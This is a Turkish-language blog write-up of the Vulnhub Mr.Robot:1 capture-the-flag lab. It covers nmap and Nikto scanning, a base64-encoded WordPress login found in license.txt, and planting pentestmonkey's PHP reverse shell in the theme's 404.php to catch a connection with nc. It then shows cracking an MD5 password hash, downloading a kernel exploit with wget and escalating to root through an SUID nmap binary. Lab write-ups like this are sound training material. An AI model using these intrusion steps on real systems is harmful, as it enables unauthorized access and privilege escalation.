Hello World Blog
Bugün Vulnhub'da bulunan Mr.Robot:1 makinesinin nasıl çözüldüğüne bakacağız. Vulnhubda makinenin açıklama kısmına baktığımızda farklı noktalarda 3 adet 'flag' saklandığını görüyoruz.
Tarama Kısmı
Öncelikle 'nmap' ile tarama yapıyoruz. Bunun için kullandığımız komut:
nmap -sS -sV 10.16.86.234 -vv
-sS : SYN taraması yapıyoruz. Açık portları tespit etmek için
-sV : Açık olan servislerin versiyon bilgisinide almak istediğimizi belirtiyoruz.
-vv : verbose. Tarama sonuçları geldikçe ekranda görmek istediğimizi belirtiyoruz.
Lets Roll!
Yukarıdaki sonuçlarda da gördüğümüz üzere, 80 ve 443 nolu portlar açık. Buradan web servislerinin çalıştığını anlıyoruz. Şimdi web sayfamızı açıyoruz ve ne var ne yok bakıyoruz.
Sayfada komut satırı komut satırının aldığı bazı komutlar var. Ancak komutları denememe rağmen bir sonuç elde edemedim.
Kaynak koddaki URL'i de kurcalamak istedim ancak 'Invalid URL' yazısını görünce kurcalamayı bıraktım.
Web penetrasyon testlerinin bir klasiği haline gelen 'robots.txt dosyası arama'ya bizde katılıyoruz ve dosyamızı buluyoruz. ıçerisinden:
key-1-of-3.txt dosyasında keyimizi buluyoruz ve ardından diğer dosya olan 'fsocity.dic' dosyasını da incelemeye koyuluyoruz.
indirdiğimiz dosyanın içerisinden 800k küsür text olduğunu görüyor ve işe yaramaz diyerek zaman kaybetmeden yolumuza devam ediyoruz.
Daha fazla bilgi elde etme amacıyla sitemizi 'Nikto' aracının eline veriyoruz.
Nikto açık kaynak kodlu bir web uygulama zafiyet tarama aracı.
Yukarıdaki nikto çıktısından anlayacağımız üzere, sistemin PHP 5.5.29 sürümünü kullanmakta ve aşağıdaki dizinleri içermekte:
/admin/
/readme.html
/robots.txt
/license.txt
/admin/index.html
Tek tek tüm dizinlere ziyaretlerimizi gerçekleştirdikten sonra 'readme.html' içerisinde Wordpressin 4.3.6 sürümünün kullanıldığı bilgisini elde ediyoruz. 'licence.txt' içerisinde sayfanın en alt kısmında
"ZWxsaW90OkVSMjgtMDY1Mgo="
BASE64 stringini buluyoruz.
Acaba Wordpress paneli için geçerli giriş bilgileri olabilir mi ? Diye düşünerek deniyoruz veee içerdeyiz!
İçeride bir süre gezindikten sonra bir şey bulamadım. Bende bir reverse shell alma vakti geldi diyerek 'pentestmonkey' sitesi üzerindeki reverse shelleri denedim ancak sonuç alamadım.
Appearance/Editor kısmından ilk sırada bulunan 404.php sayfasını komple silip 'pentestmonkey'nin php-reverse-shell dosyasını yerine yazdım.
Çok pratik bir yol değil ama başka bir seçenek bulamadım. Nihayetinde 'nc' ile dinlediğim makineden bağlantı alabildim!
Bu shell çok cazip olmadığından dolayı başka bir shell spawn edelim. ınteraktif bir shellide şu şekilde spawn ediyoruz:
python -c 'import pty;pty.spawn("/bin/sh")
İçeride biraz dolandıktan sonra .bash_history de belki bi şey yakalarım diye /home dizini altına baktım.
Dosyanın mıntıkasına bakan dayı okuyabiliyor. password.raw-md5 dosyasında 'robot:c3fcd3d76192e4007dfb496cca67e13b' stringini gördüm ve hemen MD5'ı decrypt etmeyi denedim.
Ardından bu parolayı kullanarak 'robot' isimli kullanıcıya geçiş yaptım.
Giriş yaptıktan sonra key dosyasını okudum ve diğer flage ulaştım.
Vakit öldürmek için biraz dizinlerde dolaştım.Ardından 'find' komutu ile içinde key geçen ne varsa tarattırdım. Ancak bir şey elde edemedim. Bende makinede root olmaya karar verdim. Olay linux üzerinde yetki yükseltmeye gelinceye haliyle okumamız gereken belli başlı dosyalar oluyor. ınternette bu konu ile ilgili zirilyontane bilgi ve script bulabilirsiniz. Biraz uğraşmak amacı ile ilk iş kernel versiyonuna baktım.
uname -a
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
Peki bi de ubuntu'nun hangi versiyonu bu ??
Öğrenmenin bir çok yolu var. /proc/version'u okuyabiliriz.
lsb_release -a
yada benim tercih ettiğim gcc version bilgisi.
ınternette bir tutam arama yaptığımızda aşağıdaki güzel mi güzel exploiti buluyoruz.
https://www.exploit-db.com/exploits/37292/
Geriye bir tek exploiti indirip çalıştırmak kalıyor.
Mr.Robot makinam internete bağlanmadığı için saldırgan makinama exploiti indirip /var/www/ altına wget 10.16.87.24/37292.c komutu ile alıp indirdiğim dosyayı /tmp dizini altına kaydettim. Artık derleyip çalıştırmak kaldı.
Genelde bu tarz exploitlerde exploit dosyasının açıklama kısmında exploitin nasıl derleneceği belirtilir.
Opps ! Exploit işe yaramadı. Sebebini araştırdıktan sonra ufak bi ayrıntıyı pas geçtiğimi anladım. Abimiz exploit'in açıklama kısmında Haziran 15 2015'den önceki kernellerde çalıştığını söylemiş.
Benim gibi wargame sevdalısı bi insansanız ve özellikle binary exploitation konularında wargame çözmeye kendinizi adamışsanız ise 2.nci seçenek olarak neden 'suid bit' sorusunun cevabını alırsınız.
find / -perm -u=s -type f 2>/dev/null
komutunun sonuçlarını terminalimizden rica ediyoruz.
Değiştirilmediği sürece genel olarak aşağıdaki gibi bir çıktı alırız.
ping
umount
mount
ping6
su
passwd
newgrp
chsh
chfn
gpasswd
sudo
nmap ---> wtf ?
nmap'te suid bit var. Nmap'e neden takıldığımı merak edebilirsiniz. Linux üzerinde network işlemlerinde dikkatli olmak amacıyla bazı toollar (ping-ping6 gibi komutlar) suid bitli nmap gibi daha efektif toollar ise kuruldugu zaman default'ta root yetkisi ister.
Suid bit'i aktif felanda değildir.
Scapy ve nmap gibi kütüphaneler ile script geliştirdiyseniz daha iyi anlarsınız. Buyrunuz şekil A.
Gözüme çarpan bu ayrıntıdan sonra biraz araştırdım. Dikkatli davranmanın verdiği ödül ile şöyle bi trick öğrenmiş oldum.
Root olduktan sonraki ilk işlev /root dizini altına bakmak oldu ve son flagimiz oradaymış.
Hiç yorum yok:
Yorum Gönder